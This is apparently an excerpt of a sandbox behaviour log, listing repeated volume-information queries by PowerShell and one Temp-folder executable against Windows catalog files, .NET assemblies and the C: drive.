Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
